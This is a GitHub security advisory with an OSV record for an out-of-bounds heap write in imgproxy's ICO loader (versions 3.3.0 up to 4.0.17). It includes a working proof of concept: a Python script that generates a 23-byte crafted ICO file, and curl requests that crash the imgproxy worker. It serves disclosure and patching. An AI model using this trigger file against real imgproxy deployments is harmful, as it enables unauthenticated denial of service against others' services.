GHSA-494M-4556-WF5P
Vulnerability from github – Published: 2026-10-30 22:56 – Updated: 2026-10-30 22:56Summary
Out-of-bounds heap write in imgproxy's ICO loader (vips/icoload.c): when the ICO entry's image data buffer is small, the loader's BMP-header-reconstruction writes land past the allocation, corrupting the size field of the following heap chunk. The worker then aborts deterministically (glibc munmap_chunk(): invalid pointer → SIGABRT → Go panic, exit code 2).
Details
In vips_foreign_load_ico_header in vips/icoload.c, after the ICO entry's image data is read into a heap buffer of data_size + 14 bytes, the loader reconstructs a BMP file header in front of it using fields read from the ICO's internal BITMAPINFOHEADER:
uint32_t num_colors = GUINT32_FROM_LE(*(uint32_t *) (actual_data + 32)); // unvalidated
uint16_t bpp = GUINT16_FROM_LE(*(uint16_t *) (actual_data + 14)); // unvalidated
if ((num_colors == 0) && (bpp <= 8))
pix_offset = BMP_FILE_HEADER_LEN + BMP_BITMAP_INFO_HEADER_LEN + 4 * (1 << bpp);
else
pix_offset = BMP_FILE_HEADER_LEN + BMP_BITMAP_INFO_HEADER_LEN + 4 * num_colors;
int32_t height = GINT32_FROM_LE(*(int32_t *) (actual_data + 8)); // readable past the buffer
height = height / 2;
With a crafted entry declaring a tiny data_size (e.g. 1 byte), all of these reads (offsets +8, +14, +32) go past the allocation, and the reconstructed-header writes land past the end of the buffer — specifically a 32-bit height/2-derived value at alloc+22..+25, overwriting the LSBs of the size field of the physically following heap chunk. The corrupted size is always original_size >> 1 and, in cgo thread arenas, the NON_MAIN_ARENA bit lands in the IS_MMAPPED position of the corrupted word such that the next free() of the victim deterministically takes glibc's munmap_chunk() abort path, killing the worker. Depending on heap state, the worker returns 500 for the triggering request and aborts on the corrupted chunk's free; in observed production geometry it dies on the same request (exit code 2).
PoC
# make_ico_oob.py — generates the exact 23-byte OOB-write trigger.
# Byte-identical to the checksummed, production-verified file:
# ico-oob.ico sha256 075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1
import struct, hashlib
hdr = struct.pack('<HHH', 0, 1, 1) # reserved, type=ICO, count=1
# 16x16, 0 colors, 0 reserved, 1 plane, 32 bpp, data_size=1, data_offset=0x16.
# The tiny data_size (1) makes the loader's BMPINFOHEADER field reads
# (data+8/+14/+32) and header-reconstruction writes go past the 1+14=15-byte
# allocation.
entry = struct.pack('<BBBBHHII', 16, 16, 0, 0, 1, 32, 1, 0x16)
data = b'\xAA' # the single declared image byte
blob = hdr + entry + data
assert hashlib.sha256(blob).hexdigest() == \
'075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1'
open('ico-oob.ico', 'wb').write(blob)
print(f"ico-oob.ico: {len(blob)} bytes [VERIFIED]")
# imgproxy v4.0.15 with local file sources enabled:
# IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy
curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-oob.ico@png"
# → request fails at transport level (connection reset / empty reply) or
# HTTP 500; worker dies: munmap_chunk(): invalid pointer → SIGABRT →
# Go panic dump → exit code 2. One request, one dead worker.
curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/normal.ico@png"
# → HTTP 200, valid thumbnail (control)
Impact
Out-of-bounds write; demonstrated impact is denial of service (worker crash per crafted request). Any imgproxy deployment from the 3.3.x ICO-support series through v4.0.15 (latest at time of report) that processes attacker-supplied images.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/imgproxy/imgproxy/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.3.0"
},
{
"fixed": "4.0.17"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-125",
"CWE-787"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-30T22:56:14Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nOut-of-bounds heap write in imgproxy\u0027s ICO loader (`vips/icoload.c`): when the ICO entry\u0027s image data buffer is small, the loader\u0027s BMP-header-reconstruction writes land past the allocation, corrupting the size field of the following heap chunk. The worker then aborts deterministically (glibc `munmap_chunk(): invalid pointer` \u2192 SIGABRT \u2192 Go panic, exit code 2). \n\n### Details\n\nIn `vips_foreign_load_ico_header` in `vips/icoload.c`, after the ICO entry\u0027s image data is read into a heap buffer of `data_size + 14` bytes, the loader reconstructs a BMP file header in front of it using fields read from the ICO\u0027s internal BITMAPINFOHEADER:\n\n```\nuint32_t num_colors = GUINT32_FROM_LE(*(uint32_t *) (actual_data + 32)); // unvalidated\nuint16_t bpp = GUINT16_FROM_LE(*(uint16_t *) (actual_data + 14)); // unvalidated\n```\n\n```\nif ((num_colors == 0) \u0026\u0026 (bpp \u003c= 8))\n pix_offset = BMP_FILE_HEADER_LEN + BMP_BITMAP_INFO_HEADER_LEN + 4 * (1 \u003c\u003c bpp);\nelse\n pix_offset = BMP_FILE_HEADER_LEN + BMP_BITMAP_INFO_HEADER_LEN + 4 * num_colors;\n```\n\n```\nint32_t height = GINT32_FROM_LE(*(int32_t *) (actual_data + 8)); // readable past the buffer\nheight = height / 2;\n```\n\nWith a crafted entry declaring a tiny `data_size` (e.g. 1 byte), all of these reads (offsets +8, +14, +32) go past the allocation, and the reconstructed-header writes land past the end of the buffer \u2014 specifically a 32-bit `height/2`-derived value at `alloc+22..+25`, overwriting the LSBs of the size field of the physically following heap chunk. The corrupted size is always `original_size \u003e\u003e 1` and, in cgo thread arenas, the `NON_MAIN_ARENA` bit lands in the `IS_MMAPPED` position of the corrupted word such that the next `free()` of the victim deterministically takes glibc\u0027s `munmap_chunk()` abort path, killing the worker. Depending on heap state, the worker returns 500 for the triggering request and aborts on the corrupted chunk\u0027s free; in observed production geometry it dies on the same request (exit code 2).\n\n\n### PoC\n\n```py\n# make_ico_oob.py \u2014 generates the exact 23-byte OOB-write trigger.\n# Byte-identical to the checksummed, production-verified file:\n# ico-oob.ico sha256 075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1\nimport struct, hashlib\n\nhdr = struct.pack(\u0027\u003cHHH\u0027, 0, 1, 1) # reserved, type=ICO, count=1\n# 16x16, 0 colors, 0 reserved, 1 plane, 32 bpp, data_size=1, data_offset=0x16.\n# The tiny data_size (1) makes the loader\u0027s BMPINFOHEADER field reads\n# (data+8/+14/+32) and header-reconstruction writes go past the 1+14=15-byte\n# allocation.\nentry = struct.pack(\u0027\u003cBBBBHHII\u0027, 16, 16, 0, 0, 1, 32, 1, 0x16)\ndata = b\u0027\\xAA\u0027 # the single declared image byte\nblob = hdr + entry + data\nassert hashlib.sha256(blob).hexdigest() == \\\n \u0027075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1\u0027\nopen(\u0027ico-oob.ico\u0027, \u0027wb\u0027).write(blob)\nprint(f\"ico-oob.ico: {len(blob)} bytes [VERIFIED]\")\n```\n\n```\n# imgproxy v4.0.15 with local file sources enabled:\n# IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy\ncurl \"http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-oob.ico@png\"\n# \u2192 request fails at transport level (connection reset / empty reply) or\n# HTTP 500; worker dies: munmap_chunk(): invalid pointer \u2192 SIGABRT \u2192\n# Go panic dump \u2192 exit code 2. One request, one dead worker.\n\ncurl \"http://127.0.0.1:8080/insecure/plain/local:///path/to/normal.ico@png\"\n# \u2192 HTTP 200, valid thumbnail (control)\n```\n\n### Impact\n\nOut-of-bounds write; demonstrated impact is denial of service (worker crash per crafted request). Any imgproxy deployment from the 3.3.x ICO-support series through v4.0.15 (latest at time of report) that processes attacker-supplied images.",
"id": "GHSA-494m-4556-wf5p",
"modified": "2026-10-30T22:56:14Z",
"published": "2026-10-30T22:56:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/imgproxy/imgproxy/security/advisories/GHSA-494m-4556-wf5p"
},
{
"type": "WEB",
"url": "https://github.com/imgproxy/imgproxy/pull/1726"
},
{
"type": "WEB",
"url": "https://github.com/imgproxy/imgproxy/commit/39fd9e844a8a46084161502e993d5a3c16ccf28d"
},
{
"type": "PACKAGE",
"url": "https://github.com/imgproxy/imgproxy"
},
{
"type": "WEB",
"url": "https://github.com/imgproxy/imgproxy/releases/tag/v4.0.17"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "imgproxy has out-of-bounds heap read/write in ICO loader BMP header reconstruction that allows unauthenticated remote worker crash"
}
Sightings
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|---|
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- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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